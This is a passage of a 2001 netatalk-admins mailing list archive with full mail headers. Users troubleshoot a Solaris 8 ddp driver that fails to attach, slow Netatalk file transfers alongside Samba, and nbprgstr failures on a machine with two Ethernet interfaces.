	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA11113
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 14:02:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA21599
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 14:01:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA21575
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 14:01:56 -0400 (EDT)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA21550
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 14:01:53 -0400 (EDT)
From: CSBURRIS@ci.tacoma.wa.us
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id LAA09737
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 11:02:03 -0700 (PDT)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <R0D5J9LK>; Tue, 4 Sep 2001 11:01:51 -0700
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E30645032508D0@m4.ci.tacoma.wa.us>
To: netatalk-admins@umich.edu
Subject: RE: Solaris 8 ddp driver problem
Date: Tue, 4 Sep 2001 11:01:49 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

Well, I've tracked down the problem, but there is no good answer. It is
actually documented in  ./sys/solaris/Makefile.

GCC doesn't currently do 64 bit compiles.  64-bit Sun Solaris requires
64-bit drivers.  The only way to make it work is to use Sun C, which costs a
cool $1300.  The only solution is to beg one from some one who has the
compiler and a similar architecture.

I politely suggest (again) that a downloadable binary be placed on the
sourceforge site or on SunFreeware.  I've asked at each place.

I received one myself, and have asked permission to re-distribute it, but
have not received it yet.

> ----------
> From: 	Bruce
> Sent: 	Monday, September 3, 2001 5:50 PM
> To: 	netatalk
> Subject: 	Solaris 8 ddp driver problem
> 
> I've seen this question posed before, but have not seen an answer.
> It applies to all these verions:
> 
> netatalk-1.4.99-0.20001108.tar
> netatalk-1.5pre6.tar
> netatalk-971027.tar
> netatalk-1.4b2+asun2.1.3.tar
> pre-asun2.1.4-38b_test.tar
> 
> in ./sys/solaris directory,
> trying to run "make kinstall" on Solaris 8 (UltraSPARC-1),
> produces the following error message (same in both 32-bit and 64-bit):
> 
>    ...
>    /usr/ucb/install -c ddp.conf /usr/kernel/drv/ddp.conf
>    add_drv -m '* 0666 root sys' ddp
>    devfsadm: driver failed to attach: ddp
>    Warning: Driver (ddp) successfully added to system but failed to
> attach
>    sync;sync;sync
>    ...
> 
> After setting atalkd.conf with hme0,
> when atalkd is started, it produces the error message:
> 
>    can't establish STREAMS plumbing, exiting.
> 
> /var/adm/messages says this about ioctl(fd,  I_PUSH, "ddp") in
> ./etc/atalkd/config.c:
> 
>    Sep  3 16:31:48 mail atalkd[12708]: [ID 174707 user.error] I_PUSH:
> Invalid argument
> 
> I had to guess at a device (is this documented? ), using:
> 
>    mknod /devices/psuedo/ddp@0:ddp c 92 1
>    ln -s /devices/psuedo/ddp@0:ddp   /dev/ddp
> 
> Any hints?
> 
> -bruce
> Bruce Kropp
> bruce@mail.thefourseasons.org
> 
> 
> 

From netatalk.administrators-errors@umich.edu  Tue Sep  4 14:20:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA12562
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 14:20:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA19066
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 14:20:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA19048
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 14:20:35 -0400 (EDT)
Received: from clever.eusc.inter.net (clever.eusc.inter.net [213.73.101.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA18842
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 14:20:33 -0400 (EDT)
Received: from ns07-n66-094.de.inter.net ([213.73.66.94] helo=athlet.deltaman.de)
	by clever.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 15eKn9-0003CZ-00
	for netatalk-admins@umich.edu; Tue, 04 Sep 2001 20:19:19 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id UAA11126
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 20:18:27 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: is this list active?
Date: Tue, 4 Sep 2001 20:16:58 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <000a01c1354a$27287760$6800a8c0@jms>
In-Reply-To: <000a01c1354a$27287760$6800a8c0@jms>
MIME-Version: 1.0
Message-Id: <01090420182700.09193@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA12562

On Tue, 04 Sep 2001, Markus Teich wrote:
> 
> ist this list still active?
> 

----------------------------------------
Content-Type: text/html; name="unnamed"
Content-Transfer-Encoding: quoted-printable
Content-Description: 
----------------------------------------

Yes, but please avoid sending HTML mails!

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Tue Sep  4 14:22:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA12689
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 14:22:47 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA23257
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 14:22:47 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA23236
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 14:22:46 -0400 (EDT)
Received: from server.cross-reference.xs4all.nl (cross-reference.xs4all.nl [194.109.230.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA23145
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 14:22:44 -0400 (EDT)
Received: from G4 ([192.168.0.10]) by server.cross-reference.xs4all.nl (602Pro LAN SUITE v. 2000A) id 2a4bcc26 for netatalk-admins@umich.edu; Tue, 4 Sep 2001 20:22:44 +0200
User-Agent: Microsoft-Entourage/9.0.2509
Date: Wed, 04 Apr 2001 20:21:55 +0200
Subject: Subscribe
From: Jan Kruis <NetAtalk@cross-reference.nl>
To: <netatalk-admins@umich.edu>
Message-ID: <B6F132E3.1C52%NetAtalk@cross-reference.nl>
Mime-version: 1.0
Content-type: multipart/alternative; boundary="B_3069260515_16124033"

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3069260515_16124033
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit



--B_3069260515_16124033
Content-type: text/html; charset="US-ASCII"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>Subscribe</TITLE>
</HEAD>
<BODY>
<FONT FACE=3D"Verdana"></FONT>
</BODY>
</HTML>


--B_3069260515_16124033--


From netatalk.administrators-errors@umich.edu  Tue Sep  4 18:54:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA24209
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 18:54:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA18851
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 18:54:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA18839
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 18:54:07 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA18819
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 18:54:06 -0400 (EDT)
Received: by smtpout.mac.com; Tue, 4 Sep 2001 15:53:23 -0700 (PDT)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GJ5U8Y00.M1O for
          <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 15:53:22 -0700 
Received: from localhost ([62.175.33.66]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GJ5U8X00.MOI; Tue, 4 Sep 2001 15:53:21 -0700 
Date: Wed, 5 Sep 2001 00:52:30 +0200
Subject: Re: Slowing down while editing document on the client
Content-Type: text/plain; format=flowed; charset=iso-8859-1
Mime-Version: 1.0 (Apple Message framework v404.1)
Cc: netatalk-admins <netatalk-admins@umich.edu>
To: Palotas Peter <sysman@starkingnet.hu>
From: Jason Quigley <jasonq@mac.com>
In-Reply-To: <20010904103845.15472@mail.starkingnet.hu>
Message-Id: <85795E2F-A187-11D5-B346-000A277D821C@>
X-Mailer: Apple Mail (2.404.1)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id SAA24209

Just a couple of quick questions...

You complained about tcp being slow.

o What sort of DNS setup have you got?
o Are these machines connected to the internet?
o How?
o What have you got in your hosts files (macs and server)?


On Tuesday, September 4, 2001, at 12:38 PM, Palotas Peter wrote:

> Anatol,
>
> Currently I don't use noadouble, I only have the notcp options.
>
> Peter
>
>> Anatol Ulrich (anatol.ulrich@text-bild.de):
>
>> Peter,
>>
>>>
>>> The noadouble option my servers appears very-very slow. I tried it
>>> because we use samba as well and PC users confused the .AppleDouble
>>> folders.
>>>
>> don“t use noadouble; hide the .AppleDouble folders in samba with the
>> parameter    veto files
>>
>> -anatol
>>
>>


From netatalk.administrators-errors@umich.edu  Tue Sep  4 19:54:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA26670
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 19:54:13 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA27306
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 19:54:13 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA27299
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 19:54:12 -0400 (EDT)
Received: from shap.com (mail.shap.com [207.66.149.8])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA27279
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 19:54:11 -0400 (EDT)
Received: from [207.66.149.31] (207.66.149.31) by shap.com with ESMTP
 (Eudora Internet Mail Server 3.0.3) for <netatalk-admins@umich.edu>;
 Tue, 4 Sep 2001 16:54:06 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 04 Sep 2001 16:52:12 -0700
Subject: Slow atalk file transfers
From: Dale Mirenda <IT@shap.com>
To: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B7BAB73B.1B354%IT@shap.com>
Mime-version: 1.0
Content-type: multipart/alternative;
   boundary="MS_Mac_OE_3082467132_1827922_MIME_Part"

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--MS_Mac_OE_3082467132_1827922_MIME_Part
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I have a Samba file server and a Netatalk file server running on the same
computer. Using SUSE 7.2 and the Netatalk version that comes installed with
that distribution (I'm embarrassed to say that I'm so new to Linux I can't
find the version number for Netatalk). File transfers from the Windows and
NT clients to the Samba server are incredibly fast: they make my NT file
server seem like a dog. File transfers through Netatalk are so slow they are
impractical for my Mac clients to use, sometimes taking several minutes for
the same file or folder that Samba accepts in seconds. Where do I start
troubleshooting this problem?


Dale Mirenda
IT Manager
Shapiro and Associates, Inc.
101 Yesler Way, Seattle, WA 98104-3425
(206) 624-9190, Fax (206) 624-1901
IT@shap.com



--MS_Mac_OE_3082467132_1827922_MIME_Part
Content-type: text/html; charset="US-ASCII"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>Slow atalk file transfers</TITLE>
</HEAD>
<BODY>
<TT>I have a Samba file server and a Netatalk file server running on the sa=
me<BR>
computer. Using SUSE 7.2 and the Netatalk version that comes installed with=
<BR>
that distribution (I'm embarrassed to say that I'm so new to Linux I can't<=
BR>
find the version number for Netatalk). File transfers from the Windows and<=
BR>
NT clients to the Samba server are incredibly fast: they make my NT file<BR=
>
server seem like a dog. File transfers through Netatalk are so slow they ar=
e<BR>
impractical for my Mac clients to use, sometimes taking several minutes for=
<BR>
the same file or folder that Samba accepts in seconds. Where do I start<BR>
troubleshooting this problem?<BR>
</TT><BR>
<BR>
Dale Mirenda<BR>
IT Manager<BR>
Shapiro and Associates, Inc.<BR>
101 Yesler Way, Seattle, WA 98104-3425<BR>
(206) 624-9190, Fax (206) 624-1901<BR>
IT@shap.com<BR>
<BR>
</BODY>
</HTML>


--MS_Mac_OE_3082467132_1827922_MIME_Part--


From netatalk.administrators-errors@umich.edu  Tue Sep  4 20:33:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA27738
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 20:33:57 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA26881
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 20:33:56 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA26876
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 20:33:56 -0400 (EDT)
Received: from mailsrv.iei.com.tw (c65.h202052108.is.net.tw [202.52.108.65])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA26814
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 20:33:49 -0400 (EDT)
Received: from kwleewin2k (unverified [192.168.1.1]) by mailsrv.iei.com.tw
 (EMWAC SMTPRS 0.83) with SMTP id <B0005080248@mailsrv.iei.com.tw>;
 Wed, 05 Sep 2001 08:28:04 +0800
Message-ID: <007501c135a1$b82d0710$980d10ac@hq.iei>
From: "icp" <birdlee@iei.com.tw>
To: <netatalk-admins@umich.edu>
Subject: nbprgstr failed on two ether interfaces
Date: Wed, 5 Sep 2001 08:28:43 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0072_01C135E4.C6428B70"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

This is a multi-part message in MIME format.

------=_NextPart_000_0072_01C135E4.C6428B70
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

Hi,

I'm facing a problem if my pc(running on Linux) has two ethernet ports, =
and if i wake up both
interfaces, the nbprgstr will show "Connection timed out" and failed!

i do find that there is alway only one eth interface will have
Ethertalk(actually
lo also have Ethertalk), the second initiated interface will never have
Ethertalk entry. in this way, nbprgstr can not work normally as =
described
above.

if i wake up only one interface(etiher eth0 or eth1), the nbprgstr will =
work
happily.

Is anyone know why this is always only one Ethertalk on those interfaces =
?
and why this will cause nbprgstr wouldn't work:(

many thanks
kw


------=_NextPart_000_0072_01C135E4.C6428B70
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dbig5" http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Hi,<BR><BR>I'm facing a problem if my pc(running on =
Linux) has=20
two ethernet ports, and if i wake up both<BR>interfaces, the nbprgstr =
will show=20
"Connection timed out" and failed!<BR><BR>i do find that there is alway =
only one=20
eth interface will have<BR>Ethertalk(actually<BR>lo also have =
Ethertalk), the=20
second initiated interface will never have<BR>Ethertalk entry. in this =
way,=20
nbprgstr can not work normally as described<BR>above.<BR><BR>if i wake =
up only=20
one interface(etiher eth0 or eth1), the nbprgstr will =
work<BR>happily.<BR><BR>Is=20
anyone know why this is always only one Ethertalk on those interfaces =
?<BR>and=20
why this will cause nbprgstr wouldn't work:(<BR><BR>many=20
thanks<BR>kw<BR></FONT></DIV></BODY></HTML>

------=_NextPart_000_0072_01C135E4.C6428B70--


From netatalk.administrators-errors@umich.edu  Tue Sep  4 20:48:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA28069
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 4 Sep 2001 20:48:38 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA07507
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 4 Sep 2001 20:48:38 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA07502
	for netatalk.administrators-members@umich.edu; Tue, 4 Sep 2001 20:48:37 -0400 (EDT)
Received: from mailsrv.iei.com.tw (c65.h202052108.is.net.tw [202.52.108.65])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA07429
	for <netatalk-admins@umich.edu>; Tue, 4 Sep 2001 20:48:32 -0400 (EDT)
Received: from kwleewin2k (unverified [192.168.1.1]) by mailsrv.iei.com.tw
 (EMWAC SMTPRS 0.83) with SMTP id <B0005080295@mailsrv.iei.com.tw>;
 Wed, 05 Sep 2001 08:41:36 +0800
Message-ID: <009401c135a3$9bf91be0$980d10ac@hq.iei>
From: "icp" <birdlee@iei.com.tw>
To: <netatalk-admins@umich.edu>
Subject: nbprgstr failed on two ether interfaces
Date: Wed, 5 Sep 2001 08:42:15 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0091_01C135E6.AA14BAC0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

This is a multi-part message in MIME format.

------=_NextPart_000_0091_01C135E6.AA14BAC0
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: quoted-printable



  Hi,

  I'm facing a problem if my pc(running on Linux) has two ethernet =
ports, and if i wake up both
  interfaces, the nbprgstr will show "Connection timed out" and failed!

  i do find that there is alway only one eth interface will have
  Ethertalk(actually
  lo also have Ethertalk), the second initiated interface will never =
have
  Ethertalk entry. in this way, nbprgstr can not work normally as =
described
  above.

  if i wake up only one interface(etiher eth0 or eth1), the nbprgstr =
will work
  happily.

  Is anyone know why this is always only one Ethertalk on those =
interfaces ?
  and why this will cause nbprgstr wouldn't work:(

  many thanks
  kw


------=_NextPart_000_0091_01C135E6.AA14BAC0
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dbig5" http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV>&nbsp;</DIV>
  <DIV><FONT size=3D2>Hi,<BR><BR>I'm facing a problem if my pc(running =
on Linux)=20
  has two ethernet ports, and if i wake up both<BR>interfaces, the =
nbprgstr will=20
  show "Connection timed out" and failed!<BR><BR>i do find that there is =
alway=20
  only one eth interface will have<BR>Ethertalk(actually<BR>lo also have =

  Ethertalk), the second initiated interface will never =
have<BR>Ethertalk entry.=20
  in this way, nbprgstr can not work normally as =
described<BR>above.<BR><BR>if i=20
  wake up only one interface(etiher eth0 or eth1), the nbprgstr will=20
  work<BR>happily.<BR><BR>Is anyone know why this is always only one =
Ethertalk=20
  on those interfaces ?<BR>and why this will cause nbprgstr wouldn't=20
  work:(<BR><BR>many =
thanks<BR>kw<BR></FONT></DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0091_01C135E6.AA14BAC0--


From netatalk.administrators-errors@umich.edu  Wed Sep  5 02:36:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA08793
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 02:36:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id CAA14860
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 02:36:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA14857
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 02:36:03 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA14851
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 02:36:01 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GJ6FO000.M6M; Wed, 5 Sep 2001 08:36:00 +0200 
Sender: hollow@kidgalahad.mr.itd.umich.edu
Message-ID: <3B95C7CF.D8706439@fcb-wilkens.com>
Date: Wed, 05 Sep 2001 08:35:59 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Dale Mirenda <IT@shap.com>, netatalk-admins@umich.edu
Subject: Re: Slow atalk file transfers
References: <B7BAB73B.1B354%IT@shap.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Dale Mirenda wrote:
> 
> I have a Samba file server and a Netatalk file server running on the same
> computer. Using SUSE 7.2 and the Netatalk version that comes installed with
> that distribution (I'm embarrassed to say that I'm so new to Linux I can't
> find the version number for Netatalk). File transfers from the Windows and
> NT clients to the Samba server are incredibly fast: they make my NT file
> server seem like a dog. File transfers through Netatalk are so slow they are
> impractical for my Mac clients to use, sometimes taking several minutes for
> the same file or folder that Samba accepts in seconds. Where do I start
> troubleshooting this problem?
> 
> Dale Mirenda
> IT Manager
> Shapiro and Associates, Inc.
> 101 Yesler Way, Seattle, WA 98104-3425
> (206) 624-9190, Fax (206) 624-1901
> IT@shap.com

Funnily, I have the exact reverse problem. Netatalk works like a charm ( 2 Gigs
in about 4 and a half minutes (the gigabit interface on the server helps alot),
but performancs using samba is nor satisfying...Maybe I should switch to 2.2.x to
see if things improve...

Now, the obvious questions: What versions of smb/netatalk/kernel are You using? 
What are the compile options for Your netatalk version/samba version? 
How is Your netatalk configured (excerpts from the config files are welcome)?

H.

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Wed Sep  5 07:49:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA16494
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 07:49:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA23855
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 07:49:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA23849
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 07:49:05 -0400 (EDT)
Received: from starkingnet.hu (mail.starkingnet.hu [194.149.23.41])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA23838
	for <netatalk-admins@umich.edu>; Wed, 5 Sep 2001 07:49:03 -0400 (EDT)
Received: from [194.149.23.80] ([194.149.23.80] verified)
  by starkingnet.hu (CommuniGate Pro SMTP 3.3.1)
  with ESMTP id 1082905; Wed, 05 Sep 2001 13:49:34 +0200
From: Palotas Peter <sysman@starkingnet.hu>
To: netatalk-admins <netatalk-admins@umich.edu>
Cc: Jason Quigley <jasonq@mac.com>
Subject: Re: Slowing down while editing document on the client
Date: Wed, 5 Sep 2001 13:49:21 +0200
Message-Id: <20010905114921.24479@mail.starkingnet.hu>
In-Reply-To: <85795E2F-A187-11D5-B346-000A277D821C@>
References: <85795E2F-A187-11D5-B346-000A277D821C@>
X-Mailer: CTM PowerMail 3.0.9v2 <http://www.ctmdev.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by terminator.rsug.itd.umich.edu id HAA16494

Jason,

>Jason Quigley (jasonq@mac.com):

>Just a couple of quick questions...
>
>You complained about tcp being slow.

Yes. We have a LAN which connets to the Internet via Cisco 706 ISDN modem.

>o What sort of DNS setup have you got?

We don't have dns server in the LAN. We use our Internet provider's NSs
if it is needed. These are set in the clients and the server as well.

>o Are these machines connected to the internet?
>o How?

Yes. See below.

>o What have you got in your hosts files (macs and server)?

On macs it is empty. I will chech the server and inform you!

Peter
>
>On Tuesday, September 4, 2001, at 12:38 PM, Palotas Peter wrote:
>
>> Anatol,
>>
>> Currently I don't use noadouble, I only have the notcp options.
>>
>> Peter
>>
>>> Anatol Ulrich (anatol.ulrich@text-bild.de):
>>
>>> Peter,
>>>
>>>>
>>>> The noadouble option my servers appears very-very slow. I tried it
>>>> because we use samba as well and PC users confused the .AppleDouble
>>>> folders.
>>>>
>>> donĀ“t use noadouble; hide the .AppleDouble folders in samba with the
>>> parameter    veto files
>>>
>>> -anatol
>>>
>>>
>

From netatalk.administrators-errors@umich.edu  Wed Sep  5 10:25:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA23714
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 5 Sep 2001 10:25:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA23109
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 5 Sep 2001 10:25:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA23102
	for netatalk.administrators-members@umich.edu; Wed, 5 Sep 2001 10:25:24 -0400 (EDT)
